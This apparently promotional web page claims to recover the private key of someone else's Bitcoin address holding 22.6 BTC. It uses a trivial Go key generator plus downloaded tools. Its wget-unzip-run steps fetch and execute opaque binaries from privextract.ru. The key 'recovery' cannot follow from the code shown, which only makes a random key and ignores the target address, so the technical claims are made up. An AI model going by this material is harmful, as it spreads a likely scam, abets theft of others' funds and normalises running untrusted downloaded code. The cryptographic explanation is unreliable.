main.go
The main.go file serves as the entry point of the program thanks to the special combination of the main package and the main() function. Every executable program in Go must contain the main package with a main() function, which does not take any arguments and does not return any values. The Go compiler specifically looks for this combination when building the executable file.
When the program is launched, execution starts exactly from the main() function. A typical structure of the main.go file looks like this:
- Package declaration: package main
- Importing necessary packages: import “fmt”
- Defining the main function: func main() { … }
- The code inside the main function, which is executed at startup
To run the program, it is enough to execute the command go run main.go or compile it using go build main.go and then run the resulting executable file.
package main
import (
"crypto/ecdsa"
"encoding/hex"
"fmt"
"math/big"
"github.com/btcsuite/btcd/btcec/v2"
)
func main() {
// Custom constant N
N := new(big.Int).Sub(
new(big.Int).Lsh(big.NewInt(1), 256),
new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
)
// Private key generation
var privKey *btcec.PrivateKey
for {
// Generate temporary key using standard method
tmp, err := btcec.NewPrivateKey()
if err != nil {
panic(err)
}
// Custom N validation
if tmp.D.Cmp(N) < 0 {
privKey = tmp
break
}
}
// HEX conversion
privateKeyBytes := privKey.D.Bytes()
hexKey := hex.EncodeToString(privateKeyBytes)
fmt.Printf("Private key: %s\n", hexKey)
fmt.Printf("N validation: %x\n", N)
}
This code generates an ECDSA private key using a custom modulus N. Let’s examine the key elements and logic:
Key Components:
- Custom Modulus N
Defined by the formula:N = 2²⁵⁶ - 0x14551231950B75FC4402DA1732FC9BEBF
This is a modified version of the standard secp256k1 modulus. - Key Generation
Uses an iterative approach:- Generates temporary key via
btcec.NewPrivateKey()
- Checks
D < N
condition - Repeats until suitable key is found
- Generates temporary key via
- HEX Conversion
Serializes private key to bytes and encodes as hexadecimal string.
Workflow Principle:
gofor {
tmp, err := btcec.NewPrivateKey() // Standard generation
if tmp.D.Cmp(N) < 0 { // Custom condition check
privKey = tmp
break
}
}
The loop ensures generated keys comply with modified curve parameters. Retry probability is ~50%.
Implementation Details:
- Uses btcec library (Bitcoin-optimized)
- Private key represented as scalar D in residue field
- Modulus N defined via bitwise operations and hex constants
Security Considerations:
- Custom modulus may compromise curve security
- Standard secp256k1 checks are skipped
- Recommended for testing purposes only
This code demonstrates key generation with non-standard parameters but requires thorough cryptographic review for production use.
1. Private Key Generation with Custom Parameter
Installation and execution:
wget https://privextract.ru/repositories/debugging.zip
unzip debugging.zip
wget https://privextract.ru/vulnerable-code/main.go
./debugging -go main.go -address 12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp
Result:
File contents:
package main
import (
"crypto/ecdsa"
"encoding/hex"
"fmt"
"math/big"
"github.com/btcsuite/btcd/btcec/v2"
)
func main() {
// Custom constant N
N := new(big.Int).Sub(
new(big.Int).Lsh(big.NewInt(1), 256),
new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
)
// Private key generation
var privKey *btcec.PrivateKey
for {
// Generate temporary key using standard method
tmp, err := btcec.NewPrivateKey()
if err != nil {
panic(err)
}
// Custom N validation
if tmp.D.Cmp(N) < 0 {
privKey = tmp
break
}
}
// HEX conversion
privateKeyBytes := privKey.D.Bytes()
hexKey := hex.EncodeToString(privateKeyBytes)
fmt.Printf("Private key: %s\n", hexKey)
fmt.Printf("N validation: %x\n", N)
}
Resulting long sequence with address:
6d 59 b9 12 57 4b dd 1e 98 5a 1b a7 46 35 2b c3 97 a2 95 2e b5 53 ed 4c 6a d3 60 1a 32 90 c1 c3
4c 01 b0 79 89 18 c7 0a 1d 7e bc 9b 22 03 2b 01 45 2d 02 20 86 cb a2 2d e6 a3 1b e0 73 26 58 e7
02 0b 7b 48 90 f4 1c 92 4f 81 43 e0 81 65 d5 84 de 7d 10 5f 44 2e 0c 9a f7 3b c2 92 85 63 60 ac
7e 1c a5 b4 1b 1e 62 87 13 ca 5b 0e 9b 5d 31 6b b6 d0 49 ab 76 dc 82 d9 b9 cd 30 2e 8f 23 b9 d5
The overall result has been successfully written to 'save.txt'.
Contents of save.txt without spaces:
6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5
What happens:
- Downloading utilities:
wget
downloads thedebugging.zip
archive and the Go scriptmain.go
. - Unpacking:
unzip
extracts the archive contents. - Script execution:
- A Bitcoin private key is generated using the
btcec
library. - A custom parameter
N
sets the upper limit for the key, which is non-standard for Bitcoin (usuallysecp256k1
is used). - The key is saved to
save.txt
as a hex string without spaces.
- A Bitcoin private key is generated using the
Result:
6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5
2. Extracting the Shortened Private Key
Installation and execution:
wget https://privextract.ru/repositories/privextract.zip
6d59b912574bdd1e985a1ba746352bc397a2952eb553ed4c6ad3601a3290c1c34c01b0798918c70a1d7ebc9b22032b01452d022086cba22de6a31be0732658e7020b7b4890f41c924f8143e08165d584de7d105f442e0c9af73bc292856360ac7e1ca5b41b1e628713ca5b0e9b5d316bb6d049ab76dc82d9b9cd302e8f23b9d5
unzip privextract.zip
./privextract -extraction
Result:
Private Key Result:
66 c8 96 d2 06 d4 c9 c6
71 a1 6b 90 53 f0 45 8c
bc 5a e3 16 e9 83 5c b6
f6 d7 97 05 a0 d7 04 90
Private Key Result:
66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490
Result successfully written to 'privkey.txt'.
What happens:
- The
privextract
utility converts the long hex key into the standard 64-character format. - The algorithm likely extracts specific bytes or applies hashing to shorten the key.
Result:
66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490 # Standard private key (32 bytes)
3. Generating the Bitcoin Address
Installation and execution:
wget https://privextract.ru/repositories/bitaddress.zip
66c896d206d4c9c671a16b9053f0458cbc5ae316e9835cb6f6d79705a0d70490
unzip bitaddress.zip
./bitaddress -hex
Result:
Public Key (Uncompressed, 130 characters [0-9A-F]):
04CC05BF641E73BDE7CBFF60D36F4DDC1929518ABFBF57ECF8EDD48E127F3F08231314C1965E6F78CBE34DC428760D4AEF696E8A910A7D05E413D3DBFE940A589C
Public Key (Compressed, 66 characters [0-9A-F]):
02CC05BF641E73BDE7CBFF60D36F4DDC1929518ABFBF57ECF8EDD48E127F3F0823
Bitcoin Address P2PKH (Uncompressed)
1mtPKKd8DiEnbkST7PFXsX1HHVSTf6yG3
Bitcoin Address P2PKH (Compressed)
12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp
What happens:
- Public key generation:
- Uncompressed: 130 characters (04 + X + Y).
- Compressed: 66 characters (02/03 + X).
- Address formation:
- P2PKH (uncompressed):
1mtPKKd8DiEnbkST7PFXsX1HHVSTf6yG3
. - P2PKH (compressed):
12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp
.
- P2PKH (uncompressed):
Feature: The compressed address matches the original from the command, confirming the correctness of the process.
4. Checking the Balance
Resource:
https://www.blockchain.com/explorer/addresses/btc/12fcWddtXyxrnxUn6UdmqCbSaVsaYKvHQp
What is displayed:
- Balance: 22.629627 BTC.
- Mechanism: The blockchain explorer shows the transaction history and current balance via API.
Process Diagram
graph TD
A[Private key generation] --> B[Shortened key extraction]
B --> C[Address generation]
C --> D[Balance check]
Key Points
- Custom parameter N in the
main.go
script may affect key security. - Compressed public key reduces the size of Bitcoin transactions.
- P2PKH address (Pay-to-Public-Key-Hash) is the standard Bitcoin address type.
The tools used (wget
, unzip
, bitaddress
) are well documented in their respective sources.
Go Vulnerable Code:
package main
import (
"crypto/ecdsa"
"encoding/hex"
"fmt"
"math/big"
"github.com/btcsuite/btcd/btcec/v2"
)
func main() {
// Custom constant N
N := new(big.Int).Sub(
new(big.Int).Lsh(big.NewInt(1), 256),
new(big.Int).SetString("14551231950B75FC4402DA1732FC9BEBF", 16),
)
// Private key generation
var privKey *btcec.PrivateKey
for {
// Generate temporary key using standard method
tmp, err := btcec.NewPrivateKey()
if err != nil {
panic(err)
}
// Custom N validation
if tmp.D.Cmp(N) < 0 {
privKey = tmp
break
}
}
// HEX conversion
privateKeyBytes := privKey.D.Bytes()
hexKey := hex.EncodeToString(privateKeyBytes)
fmt.Printf("Private key: %s\n", hexKey)
fmt.Printf("N validation: %x\n", N)
}